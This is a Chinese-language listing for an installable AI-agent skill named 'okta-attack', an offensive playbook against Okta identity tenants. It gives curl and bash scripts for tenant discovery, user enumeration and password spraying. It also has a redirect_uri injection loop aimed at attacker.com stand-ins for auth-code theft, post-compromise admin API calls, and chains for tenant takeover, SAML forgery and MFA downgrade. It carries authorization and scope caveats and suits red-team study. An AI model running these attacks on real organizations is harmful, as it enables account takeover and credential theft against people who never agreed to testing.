mcpField
O
okta-attack

okta-attack

github.com/elementalsouls安全5.3k268 次安装今天更新
代码仓库

关于 okta-attack

面向授权安全测试的 Okta 身份验证与租户评估技能，适用于识别 Okta 登录入口的企业环境。内容覆盖租户发现、认证因素分析、OIDC 与 SAML 配置检查，并提示锁定风险和社交工程范围限制。

主要功能

  1. 01发现 Okta 租户与登录入口
  2. 02分析认证流程及 MFA 因素
  3. 03检查 OIDC 重定向配置
  4. 04评估 SAML 服务提供方配置
  5. 05提示账户锁定与测试边界

适用场景

  1. 01确认企业应用使用的 Okta 租户
  2. 02评估登录流程中的 MFA 因素
  3. 03检查 OIDC 回调地址配置
  4. 04审查 SAML 应用签名设置

安装

复制下面的命令，在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill okta-attack

安装后在 Claude Code 中输入/okta-attack确认已加载。

详细介绍

何时使用此技能

在以下情况下触发：

  • DNS 显示 <tenant>.okta.com 或 <tenant>.okta-emea.com（EMEA 区域）
  • 登录流程重定向到 <tenant>.okta.com/login 或 /app/<app_id>/sso/saml
  • 网页引用 /signin/customize、oktapreview.com 或 auth-js-sdk
  • 侦察笔记注明“使用 Okta 实现 SSO”
  • 目标的 TLS 证书中包含 *.okta.com SAN
  • 身份架构映射将企业应用的 IdP 返回为 Okta

不要用于：

  • Entra ID（改用 m365-entra-attack）
  • Google Workspace（改用 google-workspace-attack——尚未构建）
  • ADFS（协议不同，部署在本地）

租户发现

直接猜测
# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
  for region in okta okta-emea oktapreview; do
    host="$tenant.$region.com"
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
    [ "$code" != "404" ] && [ "$code" != "000" ] && echo "  $host  $code"
  done
done
从 DNS 交叉引用
# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
  dig +short "sso.$domain" CNAME
  dig +short "login.$domain" CNAME
  dig +short "auth.$domain" CNAME
  dig +short "okta.$domain" CNAME
done
从应用 HTTP 流程交叉引用
# Visit corporate-app login, follow redirects
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant

用户枚举

方法 1 — /api/v1/authn 差异分析

身份验证 API 对无效用户和无效密码返回不同的错误。差异略微明显。

# Probe single user — DON'T spray, this counts as auth attempt!
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<email>","password":"_test_invalid_pw"}'

# Response codes:
#   401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
#   401 + "errorCode":"E0000119" → account locked
#   200 → MFA prompt (cred VALID, MFA needed)
#   200 + "status":"SUCCESS" → full auth (rare in modern setups)

⚠ Okta 已加强防护，防止通过 /api/v1/authn 直接枚举用户是否存在——错误消息通常统一为“Authentication failed”。2024 年及以后，通过此端点进行用户枚举并不可靠。

方法 2 — /api/v1/users/me/factors 响应时间分析

某些流程会通过响应时间差异暴露用户是否存在。可靠性低于 M365 OneDrive 技术。

方法 3 — 登录小组件 JS 端点
curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"
# Response varies by tenant config
方法 4 — 组织特定的标识符探测

某些 Okta 组织使用电子邮件地址作为用户名；其他组织则使用 firstname.lastname 或员工 ID。测试以下模式猜测：

[email protected]
[email protected]  
[email protected]
[email protected]
方法 5 — 带有 login_hint 的 OIDC /v1/authorize
# Tampering with login_hint param can reveal user existence on some configs
curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't

身份验证流程分析（始终先执行此步骤）

# Initial auth — observe what factors come back
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool

响应结构会揭示因素配置：

{
  "stateToken": "00ABC...",
  "factorResult": "WAITING",
  "status": "MFA_REQUIRED",
  "_embedded": {
    "factors": [
      {"factorType": "push", "provider": "OKTA"},
      {"factorType": "token:software:totp", "provider": "OKTA"},
      {"factorType": "sms", "provider": "OKTA"},
      {"factorType": "call", "provider": "OKTA"},
      {"factorType": "email", "provider": "OKTA"},
      {"factorType": "question", "provider": "OKTA"},
      {"factorType": "webauthn", "provider": "FIDO"}
    ]
  }
}

**重要提示：**因素列表会揭示可用的因素——其抗钓鱼能力差异很大：

  • webauthn（FIDO2）——抗钓鱼
  • question（安全问题）——极其薄弱；容易遭受 KBA 攻击
  • sms / call——容易遭受钓鱼（推送通知疲劳、SIM 卡交换）
  • push——容易通过 MFA 疲劳遭受钓鱼
  • email——如果攻击者能读取电子邮件，则容易遭受钓鱼
  • totp——容易通过 AiTM 遭受钓鱼

密码喷洒（遵守 Okta 特定的锁定纪律）

锁定策略

Okta 默认：连续 10 次登录失败 → 锁定（可按组织配置）。某些组织设置得严格得多（失败 3 次即锁定）。

操作规范：

  • 每次参与期间，每个用户最多尝试 2 次（比 Entra 的 1 次更安全，因为 Okta 有时会在失败 3 次后锁定）
  • 在原子状态文件中按用户跟踪
  • 首次命中有效凭据时停止，或 LOCKED 比率超过阈值时停止
喷洒端点
# Same /api/v1/authn — see authentication flow above
需关注的状态码
响应含义
200 status=MFA_REQUIRED密码有效——等待 MFA 挑战
200 status=SUCCESS + sessionToken完成身份验证（仅当该用户不需要 MFA 时）
200 status=PASSWORD_EXPIRED密码有效，但用户必须更改密码
200 status=LOCKED_OUT账户已锁定（此前已锁定或由我们的操作导致）
401 E0000004身份验证失败（用户不存在或密码错误——Okta 对两者返回相同结果）
401 E0000119用户已锁定
429触发速率限制

推送通知疲劳（MFA 轰炸）

如果获得了有效密码，且有 push 因素可用，典型攻击方式是：不断轰炸推送验证，直到用户因疲劳而接受。

⚠ 大多数红队行动都不在范围内（这属于社会工程或钓鱼行为——例如，针对授权行动的钓鱼已明确列为范围外）。请记录该攻击途径的存在，但未经明确批准不要执行。

仅检测检查（目标是否允许此操作？）
# Initiate factor verification
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
  -H "Content-Type: application/json" \
  -d '{"stateToken":"<from_authn>"}'

# A real test would loop this — DON'T do that without explicit OK

OIDC redirect_uri 篡改

Okta OIDC 应用通常有一份允许的 redirect_uri 列表。配置错误包括：

# Get the app's authorize endpoint
curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool

# Test redirect_uri injection
for ruri in \
    "https://attacker.example.com/" \
    "https://target.com.attacker.com/" \
    "https://[email protected]/" \
    "https://target.com#@attacker.com/" \
    "https://target.com\\@attacker.com/" \
    "//attacker.com/" \
    "https://target.com/cb?next=https://attacker.com/"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" \
    "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
  echo "  $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain

SAML SP 配置错误检查（逐个应用）

每个 Okta SAML 应用都有各自的 SP 元数据：

# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"

# Look for:
#   AuthnRequestsSigned="false"  ← see hunt-saml for XSW
#   WantAssertionsSigned="false" ← assertion-replay possible
#   <NameIDFormat>...emailAddress</NameIDFormat>

Okta Admin API（凭据泄露后）

如果获得了有效凭据以及已完成 MFA 的令牌：

# Get session token
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken

# Exchange for API token (admin only)
# Test admin endpoints (all require valid SSWS token):
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs"      # audit log

Okta 专属钓鱼工具包（仅供参考——非钓鱼测试不在范围内）

  • EvilProxy — 支持 Okta 的 AiTM 工具包
  • Modlishka — 通用 AiTM
  • Evilginx2 — 提供 Okta phishlet

记录其存在；未经明确的钓鱼测试范围授权，不得部署。

FastPass / Okta Verify 滥用

Okta FastPass 基于推送验证，并与设备绑定。绕过方式：

  • 伪造设备信任（需要工具包和端点失陷——仅限内部）
  • 推送疲劳攻击（见上文）
  • 将钓鱼重定向到伪造的 FastPass 提示

常见的 Okta 租户配置模式

指标配置
<tenant>.okta.com/api/v1/iam/orgs 返回 401（而非 404）已启用 API IAM 端点——管理员攻击面
匿名用户可访问 customize/sign-in 页面租户品牌定制内容公开——可用于情报收集
存在多个 *.okta.com SAN 证书多租户组织（较少见）
存在 oktapreview.com 子域名预览／沙盒租户——安全性通常较弱

工具

  • OktaTerrify（github.com/silverhack/OktaTerrify）——失陷后用于枚举 Okta 设备信任／FastPass。唯一可验证的公开 Okta 专用攻击工具；其他名为“okta-attacker”／“okta-toolkit”的工具均无法验证，建议针对 /api/v1/* 编写适用于特定测试项目的脚本，而不要引用未经验证的工具名称。

反模式

  • 不要在 Okta 上采用 Entra 式的密码喷洒频率——Okta 的反自动化机制调校方式不同，更容易触发速率限制
  • 不要跳过身份验证因子枚举——在尝试密码喷洒前了解因子列表，有助于制定切实的威胁模型
  • 不要假设 MFA 疲劳攻击属于测试范围——这属于社会工程；必须获得明确许可
  • 不要将 *.oktapreview.com 与生产环境混淆——预览环境属于非生产租户，发现的问题严重性有所不同

与相邻技能的衔接

  • m365-entra-attack — M365 场景的相关技能；思路相同
  • hunt-oauth — OIDC redirect_uri 篡改、state 攻击、PKCE 绕过
  • hunt-saml — 针对单个应用 SAML SP 的 XSW／签名剥离
  • hunt-mfa-bypass — 推送疲劳攻击、OTP 暴力破解、重放
  • mid-engagement-ir-detection — Okta SOC 仪表板较为敏感；测试期间应预期会触发缓解措施

反模式：2024 年及之后的 Okta 用户枚举

一些截至 2022 年公开记录的技术（例如 /api/v1/authn 的差异化错误）已得到加固。不要依赖过时信息——每次测试项目都应确认枚举手段是否仍然有效：

  1. 测试 1 个已知存在的用户名（例如，如果可访问，则使用 info@<domain>）
  2. 测试 1 个已知不存在的用户名
  3. 逐字节比较响应，并比较响应时间

如果响应完全相同，则该手段已被加固——改用与 OneDrive 等效的途径或其他方法。

已披露案例／CVE／协调披露报告

这些是为本技能中的技术提供依据的权威公开参考资料。适用时，请在报告中引用；在确定新型 Okta 攻击链的范围时，可将其用作类似案例。

1. Okta + Sitel/Sykes——LAPSUS$ 供应链泄露事件（2022 年 1 月，2022 年 3 月披露）
2. Okta 客户支持 HAR 文件泄露事件（2023 年 9 月至 10 月）
3. Scattered Spider / Octo Tempest / UNC3944——Okta 租户社会工程攻击活动（2022—2024 年，仍在持续）
4. Okta 跨源身份验证凭据填充（2024 年 4 月至 5 月）
5. CVE-2024-0981 — Okta AD/LDAP DelAuth bcrypt 缓存密钥身份验证绕过（2024 年 10 月）
6. Okta Verify iOS 推送响应绕过（CVE-2024-10327，于 2024 年 10 月披露）
  • 参考资料：https://trust.okta.com/security-advisories/okta-verify-for-ios-cve-2024-10327/
  • 流程：Okta Verify iOS 9.25.1-beta / 9.27.0 的 iOS ContextExtension 推送操作处理程序存在漏洞。在锁屏长按、下拉横幅或通过 Apple Watch 回复的情况下，“是我”和“不是我”按钮都会返回相同的接受身份验证响应。即使因推送疲劳而身心俱疲的用户明确点击了“不是我”，仍会批准该身份验证。
  • 根本原因：两个通知响应操作处理程序都连接到了同一条后端确认路径——用户体验层面的拒绝操作未传递为后端拒绝。
  • 年份：2024 年。严重程度：高（悄然瓦解用户抵御推送疲劳 / Scattered Spider 式推送轰炸的最后一道防线）。
7. Varonis Threat Labs — Okta 滥用事件“CrossTalk”与“Secret Agent”（2023 年 1 月）
  • 参考资料：https://www.varonis.com/blog/okta-attack-vectors
  • 流程：（a）CrossTalk：任何 Okta 租户管理员（包括免费开发者租户）都可以创建短信 / 邮件模板，并向任意邮箱 / 电话发送内容——发送通过合法的 Okta 邮件基础设施进行（SPF/DKIM/DMARC 检查均通过，域名为 okta.com）。攻击者利用这一点策划跨租户钓鱼攻击，使邮件看起来来自可信发件人。（b）Secret Agent：存储在本地部署的 Okta AD Agent 同步服务器上的 SSWS 令牌可以从磁盘解密；持有该令牌的人可以注册一个恶意 AD Agent，拦截整个组织的 DelAuth 明文凭据。
  • 根本原因：（a）出站通知 API 未强制执行与租户绑定的发件人身份。（b）Agent SSWS 引导密钥以可恢复形式存储在磁盘上；注册新 Agent 无需管理员共同签署。
  • 年份：2023 年。两者的严重程度均为高。Okta 已披露并修复这两个问题。
8. 窃取程序恶意软件盗取 Okta 管理控制台会话 Cookie（2022-2024 年，持续发生的一类攻击）
给狩猎人员的要点
  • 2022 年 LAPSUS$、2023 年 HAR 文件事件和 2023 年 Scattered Spider 活动有一个共同模式：攻击很少针对 Okta 产品代码，而是利用 Okta 周边的信任关系（第三方支持、服务台验证、客户上传的文件、联合身份提供商）。侦察应优先梳理这些信任关系。
  • CVE-2024-0981（bcrypt 的 72 字节截断问题）是少见的纯产品类 Okta CVE——已披露的 Okta 漏洞大多与配置或运维有关。
  • 推送疲劳攻击不只是社会工程——Okta Verify iOS 漏洞表明，平台本身也可能在不知情的情况下批准已拒绝的推送请求。2024 年及以后，应将任何 Okta 推送验证因素都视为可绕过。
  • 对于红队范围界定：HAR 文件重放、注入入站联合身份提供商（IdP）以及重放窃取的 Cookie，是实际攻击中侦察后收益最高的三种基本手法。

相关技能与攻击链

  • hunt-subdomain — Okta 租户命名模式（<org>.okta.com、<org>.oktapreview.com、<org>-admin.okta.com）经常包含已废弃或开发用租户。攻击链基本手法：通过 /.well-known/okta-organization 发现 Okta 租户 → 枚举 <org>-dev、<org>-uat、<org>-test 子域名 → 使用 hunt-subdomain 识别已废弃租户 → 认领被弃用的租户 → 接管 SSO（合法的 <org> 用户会被重定向到被攻陷的 IdP，再访问任何与开发租户联合的应用）。
  • m365-entra-attack — 混合型组织中常见以 Okta 作为 M365 的 IdP。攻击链基本手法：使用 okta-attack 枚举用户并对 Okta 租户进行密码喷洒，取得成功 → Okta 与 Entra 联合 → 被攻陷的 Okta 用户签发 SAML 断言 → 无需直接接触 login.microsoftonline.com 即可完全访问 M365（在许多配置中可绕过 Entra 条件访问）。
  • hunt-saml — Okta 会向每个联合的下游应用签发 SAML 断言。攻击链基本手法：获取 Okta 管理员或开发人员凭据 → 在 Okta 管理后台生成任意 SAML 断言 → 甚至无需使用 hunt-saml 的 XSW 或签名篡改，即可签发有效签名断言，在所有联合应用（Salesforce、Workday、AWS、GitHub、M365）中任意冒充用户。
  • hunt-mfa-bypass — Okta 支持多种执行方式各不相同的验证因素。攻击链基本手法：对 Okta 密码喷洒 → 触发 MFA 验证 → 使用 hunt-mfa-bypass 降级验证因素（推送疲劳、短信回退、语音回退、安全问题回退）→ 绕过验证并取得已认证会话。
  • triage-validation — Okta 发现可能造成重大影响，但需要通过 7-Question Gate 确认捕获的工件（令牌、代码、验证因素）是否确实能授予有意义的访问权限。攻击链基本手法：验证 Okta 攻击手法 → 使用 triage-validation 确认访问平面 → 使用 redteam-report-template 明确说明联合应用的影响范围。

评论

支持 Markdown